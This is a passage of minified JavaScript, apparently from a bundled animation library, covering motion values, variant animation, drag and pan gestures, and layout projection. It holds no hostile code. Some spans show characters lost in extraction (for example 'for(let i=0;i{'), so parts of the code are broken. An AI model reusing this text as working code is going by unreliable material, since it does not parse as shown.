l=ki(r,e)||{},u=l.delay||r.delay||0;let{elapsed:c=0}=r;c-=Si(u);let d={keyframes:Array.isArray(n)?n:[null,n],ease:"easeOut",velocity:t.getVelocity(),...l,delay:-c,onUpdate:e=>{t.set(e),l.onUpdate&&l.onUpdate(e)},onComplete:()=>{a(),l.onComplete&&l.onComplete(),s&&s()},onStop:s,name:e,motionValue:t,element:o?void 0:i};(function({when:e,delay:t,delayChildren:n,staggerChildren:r,staggerDirection:i,repeat:o,repeatType:s,repeatDelay:a,from:l,elapsed:u,...c}){return!!Object.keys(c).length})(l)||(d={...d,...Ri(e,d)}),d.duration&&(d.duration=Si(d.duration)),d.repeatDelay&&(d.repeatDelay=Si(d.repeatDelay)),void 0!==d.from&&(d.keyframes[0]=d.from);let h=!1;if((!1===d.type||0===d.duration&&!d.repeatDelay)&&(d.duration=0,0===d.delay&&(h=!0)),h&&!o&&void 0!==t.get()){const e=Oi(d.keyframes,l);if(void 0!==e)return Yr.update((()=>{d.onUpdate(e),d.onComplete()})),new Bs([])}return!o&&Ns.supports(d)?new Ns(d):new ks(d)};class Us{constructor(){this.subscriptions=[]}add(e){return _r(this.subscriptions,e),()=>Ur(this.subscriptions,e)}notify(e,t,n){const r=this.subscriptions.length;if(r)if(1===r)this.subscriptions[0](e,t,n);else for(let i=0;i{const n=Mi.now();this.updatedAt!==n&&this.setPrevFrameValue(),this.prev=this.current,this.setCurrent(e),this.current!==this.prev&&this.events.change&&this.events.change.notify(this.current),t&&this.events.renderRequest&&this.events.renderRequest.notify(this.current)},this.hasAnimated=!1,this.setCurrent(e),this.owner=t.owner}setCurrent(e){var t;this.current=e,this.updatedAt=Mi.now(),null===this.canTrackVelocity&&void 0!==e&&(this.canTrackVelocity=(t=this.current,!isNaN(parseFloat(t))))}setPrevFrameValue(e=this.current){this.prevFrameValue=e,this.prevUpdatedAt=this.updatedAt}onChange(e){return this.on("change",e)}on(e,t){this.events[e]||(this.events[e]=new Us);const n=this.events[e].add(t);return"change"===e?()=>{n(),Yr.read((()=>{this.events.change.getSize()||this.stop()}))}:n}clearListeners(){for(const e in this.events)this.events[e].clear()}attach(e,t){this.passiveEffect=e,this.stopPassiveEffect=t}set(e,t=!0){t&&this.passiveEffect?this.passiveEffect(e,this.updateAndNotify):this.updateAndNotify(e,t)}setWithVelocity(e,t,n){this.set(t),this.prev=void 0,this.prevFrameValue=e,this.prevUpdatedAt=this.updatedAt-n}jump(e,t=!0){this.updateAndNotify(e),this.prev=e,this.prevUpdatedAt=this.prevFrameValue=void 0,t&&this.stop(),this.stopPassiveEffect&&this.stopPassiveEffect()}get(){return $s.current&&$s.current.push(this),this.current}getPrevious(){return this.prev}getVelocity(){const e=Mi.now();if(!this.canTrackVelocity||void 0===this.prevFrameValue||e-this.updatedAt>30)return 0;const t=Math.min(this.updatedAt-this.prevUpdatedAt,30);return Mo(parseFloat(this.current)-parseFloat(this.prevFrameValue),t)}start(e){return this.stop(),new Promise((t=>{this.hasAnimated=!0,this.animation=e(t),this.events.animationStart&&this.events.animationStart.notify()})).then((()=>{this.events.animationComplete&&this.events.animationComplete.notify(),this.clearAnimation()}))}stop(){this.animation&&(this.animation.stop(),this.events.animationCancel&&this.events.animationCancel.notify()),this.clearAnimation()}isAnimating(){return!!this.animation}clearAnimation(){delete this.animation}destroy(){this.clearListeners(),this.stop(),this.stopPassiveEffect&&this.stopPassiveEffect()}}function Hs(e,t){return new Ws(e,t)}function zs(e,t,n){e.hasValue(t)?e.getValue(t).set(n):e.addValue(t,Hs(n))}function qs(e){return e.getProps()[on]}class Ys extends Ws{constructor(){super(...arguments),this.output=[],this.counts=new Map}add(e){const t=Br(e);if(!t)return;const n=this.counts.get(t)||0;this.counts.set(t,n+1),0===n&&(this.output.push(t),this.update());let r=!1;return()=>{if(r)return;r=!0;const e=this.counts.get(t)-1;this.counts.set(t,e),0===e&&(Ur(this.output,t),this.update())}}update(){this.set(this.output.length?this.output.join(", "):"auto")}}function Ks(e,t){var n;if(!e.applyWillChange)return;let r=e.getValue("willChange");return r||(null===(n=e.props.style)||void 0===n?void 0:n.willChange)||(r=new Ys("auto"),e.addValue("willChange",r)),i=r,Boolean(Nn(i)&&i.add)?r.add(t):void 0;var i}function Gs({protectedKeys:e,needsAnimating:t},n){const r=e.hasOwnProperty(n)&&!0!==t[n];return t[n]=!1,r}function Xs(e,t,{delay:n=0,transitionOverride:r,type:i}={}){var o;let{transition:s=e.getDefaultTransition(),transitionEnd:a,...l}=t;r&&(s=r);const u=[],c=i&&e.animationState&&e.animationState.getState()[i];for(const t in l){const r=e.getValue(t,null!==(o=e.latestValues[t])&&void 0!==o?o:null),i=l[t];if(void 0===i||c&&Gs(c,t))continue;const a={delay:n,elapsed:0,...ki(s||{},t)};let d=!1;if(window.HandoffAppearAnimations){const n=qs(e);if(n){const e=window.HandoffAppearAnimations(n,t,r,Yr);null!==e&&(a.elapsed=e,d=!0)}}r.start(_s(t,r,i,e.shouldReduceMotion&&Fn.has(t)?{type:!1}:a,e,d,Ks(e,t)));const h=r.animation;h&&u.push(h)}return a&&Promise.all(u).then((()=>{Yr.update((()=>{a&&function(e,t){const n=Ei(e,t);let{transitionEnd:r={},transition:i={},...o}=n||{};o={...o,...r};for(const t in o)zs(e,t,jr(o[t]))}(e,a)}))})),u}function Js(e,t,n={}){var r;const i=Ei(e,t,"exit"===n.type?null===(r=e.presenceContext)||void 0===r?void 0:r.custom:void 0);let{transition:o=e.getDefaultTransition()||{}}=i||{};n.transitionOverride&&(o=n.transitionOverride);const s=i?()=>Promise.all(Xs(e,i,n)):()=>Promise.resolve(),a=e.variantChildren&&e.variantChildren.size?(r=0)=>{const{delayChildren:i=0,staggerChildren:s,staggerDirection:a}=o;return function(e,t,n=0,r=0,i=1,o){const s=[],a=(e.variantChildren.size-1)*r,l=1===i?(e=0)=>e*r:(e=0)=>a-e*r;return Array.from(e.variantChildren).sort(Zs).forEach(((e,r)=>{e.notify("AnimationStart",t),s.push(Js(e,t,{...o,delay:n+l(r)}).then((()=>e.notify("AnimationComplete",t))))})),Promise.all(s)}(e,t,i+r,s,a,n)}:()=>Promise.resolve(),{when:l}=o;if(l){const[e,t]="beforeChildren"===l?[s,a]:[a,s];return e().then((()=>t()))}return Promise.all([s(),a(n.delay)])}function Zs(e,t){return e.sortNodePosition(t)}const Qs=[...wn].reverse(),ea=wn.length;function ta(e=!1){return{isActive:e,protectedKeys:{},needsAnimating:{},prevResolvedValues:{}}}function na(){return{animate:ta(!0),whileInView:ta(),whileHover:ta(),whileTap:ta(),whileDrag:ta(),whileFocus:ta(),exit:ta()}}let ra=0;const ia={animation:{Feature:class extends di{constructor(e){super(e),e.animationState||(e.animationState=function(e){let t=function(e){return t=>Promise.all(t.map((({animation:t,options:n})=>function(e,t,n={}){let r;if(e.notify("AnimationStart",t),Array.isArray(t)){const i=t.map((t=>Js(e,t,n)));r=Promise.all(i)}else if("string"==typeof t)r=Js(e,t,n);else{const i="function"==typeof t?Ei(e,t,n.custom):t;r=Promise.all(Xs(e,i,n))}return r.then((()=>{e.notify("AnimationComplete",t)}))}(e,t,n))))}(e),n=na(),r=!0;const i=t=>(n,r)=>{var i;const o=Ei(e,r,"exit"===t?null===(i=e.presenceContext)||void 0===i?void 0:i.custom:void 0);if(o){const{transition:e,transitionEnd:t,...r}=o;n={...n,...r,...t}}return n};function o(o){const s=e.getProps(),a=e.getVariantContext(!0)||{},l=[],u=new Set;let c={},d=1/0;for(let t=0;td&&v),x=!1;const E=Array.isArray(g)?g:[g];let S=E.reduce(i(m),{});!1===y&&(S={});const{prevResolvedValues:P={}}=f,T={...P,...S},C=t=>{b=!0,u.has(t)&&(x=!0,u.delete(t)),f.needsAnimating[t]=!0;const n=e.getValue(t);n&&(n.liveStyle=!1)};for(const e in T){const t=S[e],n=P[e];if(c.hasOwnProperty(e))continue;let r=!1;r=Mr(t)&&Mr(n)?!xi(t,n):t!==n,r?null!=t?C(e):u.add(e):void 0!==t&&u.has(e)?C(e):f.protectedKeys[e]=!0}f.prevProp=g,f.prevResolvedValues=S,f.isActive&&(c={...c,...S}),r&&e.blockInitialAnimation&&(b=!1),!b||w&&!x||l.push(...E.map((e=>({animation:e,options:{type:m}}))))}var h,p;if(u.size){const t={};u.forEach((n=>{const r=e.getBaseTarget(n),i=e.getValue(n);i&&(i.liveStyle=!0),t[n]=null!=r?r:null})),l.push({animation:t})}let m=Boolean(l.length);return!r||!1!==s.initial&&s.initial!==s.animate||e.manuallyAnimateOnMount||(m=!1),r=!1,m?t(l):Promise.resolve()}return{animateChanges:o,setActive:function(t,r){var i;if(n[t].isActive===r)return Promise.resolve();null===(i=e.variantChildren)||void 0===i||i.forEach((e=>{var n;return null===(n=e.animationState)||void 0===n?void 0:n.setActive(t,r)})),n[t].isActive=r;const s=o(t);for(const e in n)n[e].protectedKeys={};return s},setAnimateFunction:function(n){t=n(e)},getState:()=>n,reset:()=>{n=na(),r=!0}}}(e))}updateAnimationControlsSubscription(){const{animate:e}=this.node.getProps();yn(e)&&(this.unmountControls=e.subscribe(this.node))}mount(){this.updateAnimationControlsSubscription()}update(){const{animate:e}=this.node.getProps(),{animate:t}=this.node.prevProps||{};e!==t&&this.updateAnimationControlsSubscription()}unmount(){var e;this.node.animationState.reset(),null===(e=this.unmountControls)||void 0===e||e.call(this)}}},exit:{Feature:class extends di{constructor(){super(...arguments),this.id=ra++}update(){if(!this.node.presenceContext)return;const{isPresent:e,onExitComplete:t}=this.node.presenceContext,{isPresent:n}=this.node.prevPresenceContext||{};if(!this.node.animationState||e===n)return;const r=this.node.animationState.setActive("exit",!e);t&&!e&&r.then((()=>t(this.id)))}mount(){const{register:e}=this.node.presenceContext||{};e&&(this.unmount=e(this.id))}unmount(){}}}},oa=(e,t)=>Math.abs(e-t);class sa{constructor(e,t,{transformPagePoint:n,contextWindow:r,dragSnapToOrigin:i=!1}={}){if(this.startEvent=null,this.lastMoveEvent=null,this.lastMoveEventInfo=null,this.handlers={},this.contextWindow=window,this.updatePoint=()=>{if(!this.lastMoveEvent||!this.lastMoveEventInfo)return;const e=ua(this.lastMoveEventInfo,this.history),t=null!==this.startEvent,n=function(e,t){const n=oa(e.x,t.x),r=oa(e.y,t.y);return Math.sqrt(n**2+r**2)}(e.offset,{x:0,y:0})>=3;if(!t&&!n)return;const{point:r}=e,{timestamp:i}=Gr;this.history.push({...r,timestamp:i});const{onStart:o,onMove:s}=this.handlers;t||(o&&o(this.lastMoveEvent,e),this.startEvent=this.lastMoveEvent),s&&s(this.lastMoveEvent,e)},this.handlePointerMove=(e,t)=>{this.lastMoveEvent=e,this.lastMoveEventInfo=aa(t,this.transformPagePoint),Yr.update(this.updatePoint,!0)},this.handlePointerUp=(e,t)=>{this.end();const{onEnd:n,onSessionEnd:r,resumeAnimation:i}=this.handlers;if(this.dragSnapToOrigin&&i&&i(),!this.lastMoveEvent||!this.lastMoveEventInfo)return;const o=ua("pointercancel"===e.type?this.lastMoveEventInfo:aa(t,this.transformPagePoint),this.history);this.startEvent&&n&&n(e,o),r&&r(e,o)},!ei(e))return;this.dragSnapToOrigin=i,this.handlers=t,this.transformPagePoint=n,this.contextWindow=r||window;const o=aa(ti(e),this.transformPagePoint),{point:s}=o,{timestamp:a}=Gr;this.history=[{...s,timestamp:a}];const{onSessionStart:l}=t;l&&l(e,ua(o,this.history)),this.removeListeners=oi(ri(this.contextWindow,"pointermove",this.handlePointerMove),ri(this.contextWindow,"pointerup",this.handlePointerUp),ri(this.contextWindow,"pointercancel",this.handlePointerUp))}updateHandlers(e){this.handlers=e}end(){this.removeListeners&&this.removeListeners(),Kr(this.updatePoint)}}function aa(e,t){return t?{point:t(e.point)}:e}function la(e,t){return{x:e.x-t.x,y:e.y-t.y}}function ua({point:e},t){return{point:e,delta:la(e,da(t)),offset:la(e,ca(t)),velocity:ha(t,.1)}}function ca(e){return e[0]}function da(e){return e[e.length-1]}function ha(e,t){if(e.length<2)return{x:0,y:0};let n=e.length-1,r=null;const i=da(e);for(;n>=0&&(r=e[n],!(i.timestamp-r.timestamp>Si(t)));)n--;if(!r)return{x:0,y:0};const o=Pi(i.timestamp-r.timestamp);if(0===o)return{x:0,y:0};const s={x:(i.x-r.x)/o,y:(i.y-r.y)/o};return s.x===1/0&&(s.x=0),s.y===1/0&&(s.y=0),s}const pa=.9999,ma=1.0001,fa=-.01,ga=.01;function va(e){return e.max-e.min}function ya(e,t,n,r=.5){e.origin=r,e.originPoint=ds(t.min,t.max,e.origin),e.scale=va(n)/va(t),e.translate=ds(n.min,n.max,e.origin)-e.originPoint,(e.scale>=pa&&e.scale<=ma||isNaN(e.scale))&&(e.scale=1),(e.translate>=fa&&e.translate<=ga||isNaN(e.translate))&&(e.translate=0)}function wa(e,t,n,r){ya(e.x,t.x,n.x,r?r.originX:void 0),ya(e.y,t.y,n.y,r?r.originY:void 0)}function ba(e,t,n){e.min=n.min+t.min,e.max=e.min+va(t)}function xa(e,t,n){e.min=t.min-n.min,e.max=e.min+va(t)}function Ea(e,t,n){xa(e.x,t.x,n.x),xa(e.y,t.y,n.y)}function Sa(e,t,n){return{min:void 0!==t?e.min+t:void 0,max:void 0!==n?e.max+n-(e.max-e.min):void 0}}function Pa(e,t){let n=t.min-e.min,r=t.max-e.max;return t.max-t.min({x:{translate:0,scale:1,origin:0,originPoint:0},y:{translate:0,scale:1,origin:0,originPoint:0}}),ka=()=>({x:{min:0,max:0},y:{min:0,max:0}});function Da(e){return[e("x"),e("y")]}function Oa({top:e,left:t,right:n,bottom:r}){return{x:{min:t,max:n},y:{min:e,max:r}}}function Va(e){return void 0===e||1===e}function La({scale:e,scaleX:t,scaleY:n}){return!Va(e)||!Va(t)||!Va(n)}function Ma(e){return La(e)||Fa(e)||e.z||e.rotate||e.rotateX||e.rotateY||e.skewX||e.skewY}function Fa(e){return ja(e.x)||ja(e.y)}function ja(e){return e&&"0%"!==e}function Na(e,t,n){return n+t*(e-n)}function Ia(e,t,n,r,i){return void 0!==i&&(e=Na(e,i,r)),Na(e,n,r)+t}function Ba(e,t=0,n=1,r,i){e.min=Ia(e.min,t,n,r,i),e.max=Ia(e.max,t,n,r,i)}function _a(e,{x:t,y:n}){Ba(e.x,t.translate,t.scale,t.originPoint),Ba(e.y,n.translate,n.scale,n.originPoint)}const Ua=.999999999999,$a=1.0000000000001;function Wa(e,t){e.min=e.min+t,e.max=e.max+t}function Ha(e,t,n,r,i=.5){Ba(e,t,n,ds(e.min,e.max,i),r)}function za(e,t){Ha(e.x,t.x,t.scaleX,t.scale,t.originX),Ha(e.y,t.y,t.scaleY,t.scale,t.originY)}function qa(e,t){return Oa(function(e,t){if(!t)return e;const n=t({x:e.left,y:e.top}),r=t({x:e.right,y:e.bottom});return{top:n.y,left:n.x,bottom:r.y,right:r.x}}(e.getBoundingClientRect(),t))}const Ya=({current:e})=>e?e.ownerDocument.defaultView:null,Ka=new WeakMap;class Ga{constructor(e){this.openGlobalLock=null,this.isDragging=!1,this.currentDirection=null,this.originPoint={x:0,y:0},this.constraints=!1,this.hasMutatedConstraints=!1,this.elastic=ka(),this.visualElement=e}start(e,{snapToCursor:t=!1}={}){const{presenceContext:n}=this.visualElement;if(n&&!1===n.isPresent)return;const{dragSnapToOrigin:r}=this.getProps();this.panSession=new sa(e,{onSessionStart:e=>{const{dragSnapToOrigin:n}=this.getProps();n?this.pauseAnimation():this.stopAnimation(),t&&this.snapToCursor(ti(e,"page").point)},onStart:(e,t)=>{var n;const{drag:r,dragPropagation:i,onDragStart:o}=this.getProps();if(r&&!i&&(this.openGlobalLock&&this.openGlobalLock(),this.openGlobalLock=ui(r),!this.openGlobalLock))return;this.isDragging=!0,this.currentDirection=null,this.resolveConstraints(),this.visualElement.projection&&(this.visualElement.projection.isAnimationBlocked=!0,this.visualElement.projection.target=void 0),Da((e=>{let t=this.getAxisMotionValue(e).get()||0;if(Jn.test(t)){const{projection:n}=this.visualElement;if(n&&n.layout){const r=n.layout.layoutBox[e];r&&(t=va(r)*(parseFloat(t)/100))}}this.originPoint[e]=t})),o&&Yr.postRender((()=>o(e,t))),null===(n=this.removeWillChange)||void 0===n||n.call(this),this.removeWillChange=Ks(this.visualElement,"transform");const{animationState:s}=this.visualElement;s&&s.setActive("whileDrag",!0)},onMove:(e,t)=>{const{dragPropagation:n,dragDirectionLock:r,onDirectionLock:i,onDrag:o}=this.getProps();if(!n&&!this.openGlobalLock)return;const{offset:s}=t;if(r&&null===this.currentDirection)return this.currentDirection=function(e,t=10){let n=null;return Math.abs(e.y)>t?n="y":Math.abs(e.x)>t&&(n="x"),n}(s),void(null!==this.currentDirection&&i&&i(this.currentDirection));this.updateAxis("x",t.point,s),this.updateAxis("y",t.point,s),this.visualElement.render(),o&&o(e,t)},onSessionEnd:(e,t)=>this.stop(e,t),resumeAnimation:()=>Da((e=>{var t;return"paused"===this.getAnimationState(e)&&(null===(t=this.getAxisMotionValue(e).animation)||void 0===t?void 0:t.play())}))},{transformPagePoint:this.visualElement.getTransformPagePoint(),dragSnapToOrigin:r,contextWindow:Ya(this.visualElement)})}stop(e,t){var n;null===(n=this.removeWillChange)||void 0===n||n.call(this);const r=this.isDragging;if(this.cancel(),!r)return;const{velocity:i}=t;this.startAnimation(i);const{onDragEnd:o}=this.getProps();o&&Yr.postRender((()=>o(e,t)))}cancel(){this.isDragging=!1;const{projection:e,animationState:t}=this.visualElement;e&&(e.isAnimationBlocked=!1),this.panSession&&this.panSession.end(),this.panSession=void 0;const{dragPropagation:n}=this.getProps();!n&&this.openGlobalLock&&(this.openGlobalLock(),this.openGlobalLock=null),t&&t.setActive("whileDrag",!1)}updateAxis(e,t,n){const{drag:r}=this.getProps();if(!n||!Xa(e,r,this.currentDirection))return;const i=this.getAxisMotionValue(e);let o=this.originPoint[e]+n[e];this.constraints&&this.constraints[e]&&(o=function(e,{min:t,max:n},r){return void 0!==t&&en&&(e=r?ds(n,e,r.max):Math.min(e,n)),e}(o,this.constraints[e],this.elastic[e])),i.set(o)}resolveConstraints(){var e;const{dragConstraints:t,dragElastic:n}=this.getProps(),r=this.visualElement.projection&&!this.visualElement.projection.layout?this.visualElement.projection.measure(!1):null===(e=this.visualElement.projection)||void 0===e?void 0:e.layout,i=this.constraints;t&&cn(t)?this.constraints||(this.constraints=this.resolveRefConstraints()):this.constraints=!(!t||!r)&&function(e,{top:t,left:n,bottom:r,right:i}){return{x:Sa(e.x,n,i),y:Sa(e.y,t,r)}}(r.layoutBox,t),this.elastic=function(e=Ta){return!1===e?e=0:!0===e&&(e=Ta),{x:Ca(e,"left","right"),y:Ca(e,"top","bottom")}}(n),i!==this.constraints&&r&&this.constraints&&!this.hasMutatedConstraints&&Da((e=>{!1!==this.constraints&&this.getAxisMotionValue(e)&&(this.constraints[e]=function(e,t){const n={};return void 0!==t.min&&(n.min=t.min-e.min),void 0!==t.max&&(n.max=t.max-e.min),n}(r.layoutBox[e],this.constraints[e]))}))}resolveRefConstraints(){const{dragConstraints:e,onMeasureDragConstraints:t}=this.getProps();if(!e||!cn(e))return!1;const n=e.current;Ni(null!==n,"If `dragConstraints` is set as a React ref, that ref must be passed to another component's `ref` prop.");const{projection:r}=this.visualElement;if(!r||!r.layout)return!1;const i=function(e,t,n){const r=qa(e,n),{scroll:i}=t;return i&&(Wa(r.x,i.offset.x),Wa(r.y,i.offset.y)),r}(n,r.root,this.visualElement.getTransformPagePoint());let o=function(e,t){return{x:Pa(e.x,t.x),y:Pa(e.y,t.y)}}(r.layout.layoutBox,i);if(t){const e=t(function({x:e,y:t}){return{top:t.min,right:e.max,bottom:t.max,left:e.min}}(o));this.hasMutatedConstraints=!!e,e&&(o=Oa(e))}return o}startAnimation(e){const{drag:t,dragMomentum:n,dragElastic:r,dragTransition:i,dragSnapToOrigin:o,onDragTransitionEnd:s}=this.getProps(),a=this.constraints||{},l=Da((s=>{if(!Xa(s,t,this.currentDirection))return;let l=a&&a[s]||{};o&&(l={min:0,max:0});const u=r?200:1e6,c=r?40:1e7,d={type:"inertia",velocity:n?e[s]:0,bounceStiffness:u,bounceDamping:c,timeConstant:750,restDelta:1,restSpeed:10,...i,...l};return this.startAxisValueAnimation(s,d)}));return Promise.all(l).then(s)}startAxisValueAnimation(e,t){const n=this.getAxisMotionValue(e);return n.start(_s(e,n,0,t,this.visualElement,!1,Ks(this.visualElement,e)))}stopAnimation(){Da((e=>this.getAxisMotionValue(e).stop()))}pauseAnimation(){Da((e=>{var t;return null===(t=this.getAxisMotionValue(e).animation)||void 0===t?void 0:t.pause()}))}getAnimationState(e){var t;return null===(t=this.getAxisMotionValue(e).animation)||void 0===t?void 0:t.state}getAxisMotionValue(e){const t=`_drag${e.toUpperCase()}`,n=this.visualElement.getProps();return n[t]||this.visualElement.getValue(e,(n.initial?n.initial[e]:void 0)||0)}snapToCursor(e){Da((t=>{const{drag:n}=this.getProps();if(!Xa(t,n,this.currentDirection))return;const{projection:r}=this.visualElement,i=this.getAxisMotionValue(t);if(r&&r.layout){const{min:n,max:o}=r.layout.layoutBox[t];i.set(e[t]-ds(n,o,.5))}}))}scalePositionWithinConstraints(){if(!this.visualElement.current)return;const{drag:e,dragConstraints:t}=this.getProps(),{projection:n}=this.visualElement;if(!cn(t)||!n||!this.constraints)return;this.stopAnimation();const r={x:0,y:0};Da((e=>{const t=this.getAxisMotionValue(e);if(t&&!1!==this.constraints){const n=t.get();r[e]=function(e,t){let n=.5;const r=va(e),i=va(t);return i>r?n=cs(t.min,t.max-r,e.min):r>i&&(n=cs(e.min,e.max-i,t.min)),Bn(0,1,n)}({min:n,max:n},this.constraints[e])}}));const{transformTemplate:i}=this.visualElement.getProps();this.visualElement.current.style.transform=i?i({},""):"none",n.root&&n.root.updateScroll(),n.updateLayout(),this.resolveConstraints(),Da((t=>{if(!Xa(t,e,null))return;const n=this.getAxisMotionValue(t),{min:i,max:o}=this.constraints[t];n.set(ds(i,o,r[t]))}))}addListeners(){if(!this.visualElement.current)return;Ka.set(this.visualElement,this);const e=ri(this.visualElement.current,"pointerdown",(e=>{const{drag:t,dragListener:n=!0}=this.getProps();t&&n&&this.start(e)})),t=()=>{const{dragConstraints:e}=this.getProps();cn(e)&&e.current&&(this.constraints=this.resolveRefConstraints())},{projection:n}=this.visualElement,r=n.addEventListener("measure",t);n&&!n.layout&&(n.root&&n.root.updateScroll(),n.updateLayout()),Yr.read(t);const i=Qr(window,"resize",(()=>this.scalePositionWithinConstraints())),o=n.addEventListener("didUpdate",(({delta:e,hasLayoutChanged:t})=>{this.isDragging&&t&&(Da((t=>{const n=this.getAxisMotionValue(t);n&&(this.originPoint[t]+=e[t].translate,n.set(n.get()+e[t].translate))})),this.visualElement.render())}));return()=>{i(),e(),r(),o&&o()}}getProps(){const e=this.visualElement.getProps(),{drag:t=!1,dragDirectionLock:n=!1,dragPropagation:r=!1,dragConstraints:i=!1,dragElastic:o=Ta,dragMomentum:s=!0}=e;return{...e,drag:t,dragDirectionLock:n,dragPropagation:r,dragConstraints:i,dragElastic:o,dragMomentum:s}}}function Xa(e,t,n){return!(!0!==t&&t!==e||null!==n&&n!==e)}const Ja=e=>(t,n)=>{e&&Yr.postRender((()=>e(t,n)))},Za={hasAnimatedSinceResize:!0,hasEverUpdated:!1};function Qa(e,t){return t.max===t.min?0:e/(t.max-t.min)*100}const el={correct:(e,t)=>{if(!t.target)return e;if("string"==typeof e){if(!Zn.test(e))return e;e=parseFloat(e)}return`${Qa(e,t.target.x)}% ${Qa(e,t.target.y)}%`}},tl={correct:(e,{treeScale:t,projectionDelta:n})=>{const r=e,i=xo.parse(e);if(i.length>5)return r;const o=xo.createTransformer(e),s="number"!=typeof i[0]?1:0,a=n.x.scale*t.x,l=n.y.scale*t.y;i[0+s]/=a,i[1+s]/=l;const u=ds(a,l,.5);return"number"==typeof i[2+s]&&(i[2+s]/=u),"number"==typeof i[3+s]&&(i[3+s]/=u),o(i)}};class nl extends e.Component{componentDidMount(){const{visualElement:e,layoutGroup:t,switchLayoutGroup:n,layoutId:r}=this.props,{projection:i}=e;var o;o=il,Object.assign(Ln,o),i&&(t.group&&t.group.add(i),n&&n.register&&r&&n.register(i),i.root.didUpdate(),i.addEventListener("animationComplete",(()=>{this.safeToRemove()})),i.setOptions({...i.options,onExitComplete:()=>this.safeToRemove()})),Za.hasEverUpdated=!0}getSnapshotBeforeUpdate(e){const{layoutDependency:t,visualElement:n,drag:r,isPresent:i}=this.props,o=n.projection;return o?(o.isPresent=i,r||e.layoutDependency!==t||void 0===t?o.willUpdate():this.safeToRemove(),e.isPresent!==i&&(i?o.promote():o.relegate()||Yr.postRender((()=>{const e=o.getStack();e&&e.members.length||this.safeToRemove()}))),null):null}componentDidUpdate(){const{projection:e}=this.props.visualElement;e&&(e.root.didUpdate(),ln.postRender((()=>{!e.currentAnimation&&e.isLead()&&this.safeToRemove()})))}componentWillUnmount(){const{visualElement:e,layoutGroup:t,switchLayoutGroup:n}=this.props,{projection:r}=e;r&&(r.scheduleCheckAfterUnmount(),t&&t.group&&t.group.remove(r),n&&n.deregister&&n.deregister(r))}safeToRemove(){const{safeToRemove:e}=this.props;e&&e()}render(){return null}}function rl(t){const[n,r]=function(){const t=(0,e.useContext)(Qt);if(null===t)return[!0,null];const{isPresent:n,onExitComplete:r,register:i}=t,o=(0,e.useId)();(0,e.useEffect)((()=>i(o)),[]);const s=(0,e.useCallback)((()=>r&&r(o)),[o,r]);return!n&&r?[!1,s]:[!0]}(),i=(0,e.useContext)(Cn);return(0,Xt.jsx)(nl,{...t,layoutGroup:i,switchLayoutGroup:(0,e.useContext)(dn),isPresent:n,safeToRemove:r})}const il={borderRadius:{...el,applyTo:["borderTopLeftRadius","borderTopRightRadius","borderBottomLeftRadius","borderBottomRightRadius"]},borderTopLeftRadius:el,borderTopRightRadius:el,borderBottomLeftRadius:el,borderBottomRightRadius:el,boxShadow:tl},ol=["TopLeft","TopRight","BottomLeft","BottomRight"],sl=ol.length,al=e=>"string"==typeof e?parseFloat(e):e,ll=e=>"number"==typeof e||Zn.test(e);function ul(e,t){return void 0!==e[t]?e[t]:e.borderRadius}const cl=hl(0,.5,rs),dl=hl(.5,.95,qr);function hl(e,t,n){return r=>rt?1:n(cs(e,t,r))}function pl(e,t){e.min=t.min,e.max=t.max}function ml(e,t){pl(e.x,t.x),pl(e.y,t.y)}function fl(e,t){e.translate=t.translate,e.scale=t.scale,e.originPoint=t.originPoint,e.origin=t.origin}function gl(e,t,n,r,i){return e=Na(e-=t,1/n,r),void 0!==i&&(e=Na(e,1/i,r)),e}function vl(e,t,[n,r,i],o,s){!function(e,t=0,n=1,r=.5,i,o=e,s=e){if(Jn.test(t)&&(t=parseFloat(t),t=ds(s.min,s.max,t/100)-s.min),"number"!=typeof t)return;let a=ds(o.min,o.max,r);e===o&&(a-=t),e.min=gl(e.min,t,n,a,i),e.max=gl(e.max,t,n,a,i)}(e,t[n],t[r],t[i],t.scale,o,s)}const yl=["x","scaleX","originX"],wl=["y","scaleY","originY"];function bl(e,t,n,r){vl(e.x,t,yl,n?n.x:void 0,r?r.x:void 0),vl(e.y,t,wl,n?n.y:void 0,r?r.y:void 0)}function xl(e){return 0===e.translate&&1===e.scale}function El(e){return xl(e.x)&&xl(e.y)}function Sl(e,t){return e.min===t.min&&e.max===t.max}function Pl(e,t){return Math.round(e.min)===Math.round(t.min)&&Math.round(e.max)===Math.round(t.max)}function Tl(e,t){return Pl(e.x,t.x)&&Pl(e.y,t.y)}function Cl(e){return va(e.x)/va(e.y)}function Al(e,t){return e.translate===t.translate&&e.scale===t.scale&&e.originPoint===t.originPoint}class Rl{constructor(){this.members=[]}add(e){_r(this.members,e),e.scheduleRender()}remove(e){if(Ur(this.members,e),e===this.prevLead&&(this.prevLead=void 0),e===this.lead){const e=this.members[this.members.length-1];e&&this.promote(e)}}relegate(e){const t=this.members.findIndex((t=>e===t));if(0===t)return!1;let n;for(let e=t;e>=0;e--){const t=this.members[e];if(!1!==t.isPresent){n=t;break}}return!!n&&(this.promote(n),!0)}promote(e,t){const n=this.lead;if(e!==n&&(this.prevLead=n,this.lead=e,e.show(),n)){n.instance&&n.scheduleRender(),e.scheduleRender(),e.resumeFrom=n,t&&(e.resumeFrom.preserveOpacity=!0),n.snapshot&&(e.snapshot=n.snapshot,e.snapshot.latestValues=n.animationValues||n.latestValues),e.root&&e.root.isUpdating&&(e.isLayoutDirty=!0);const{crossfade:r}=e.options;!1===r&&n.hide()}}exitAnimationComplete(){this.members.forEach((e=>{const{options:t,resumingFrom:n}=e;t.onExitComplete&&t.onExitComplete(),n&&n.options.onExitComplete&&n.options.onExitComplete()}))}scheduleRender(){this.members.forEach((e=>{e.instance&&e.scheduleRender(!1)}))}removeLeadSnapshot(){this.lead&&this.lead.snapshot&&(this.lead.snapshot=void 0)}}const kl=(e,t)=>e.depth-t.depth;class Dl{constructor(){this.children=[],this.isDirty=!1}add(e){_r(this.children,e),this.isDirty=!0}remove(e){Ur(this.children,e),this.isDirty=!0}forEach(e){this.isDirty&&this.children.sort(kl),this.isDirty=!1,this.children.forEach(e)}}const Ol={type:"projectionFrame",totalNodes:0,resolvedTargetDeltas:0,recalculatedProjection:0},Vl="undefined"!=typeof window&&void 0!==window.MotionDebug,Ll=["","X","Y","Z"],Ml={visibility:"hidden"};let Fl=0;function jl(e,t,n,r){const{latestValues:i}=t;i[e]&&(n[e]=i[e],t.setStaticValue(e,0),r&&(r[e]=0))}function Nl(e){if(e.hasCheckedOptimisedAppear=!0,e.root===e)return!1;const{visualElement:t}=e.options;return!!t&&(!!qs(t)||!(!e.parent||e.parent.hasCheckedOptimisedAppear)&&Nl(e.parent))}function 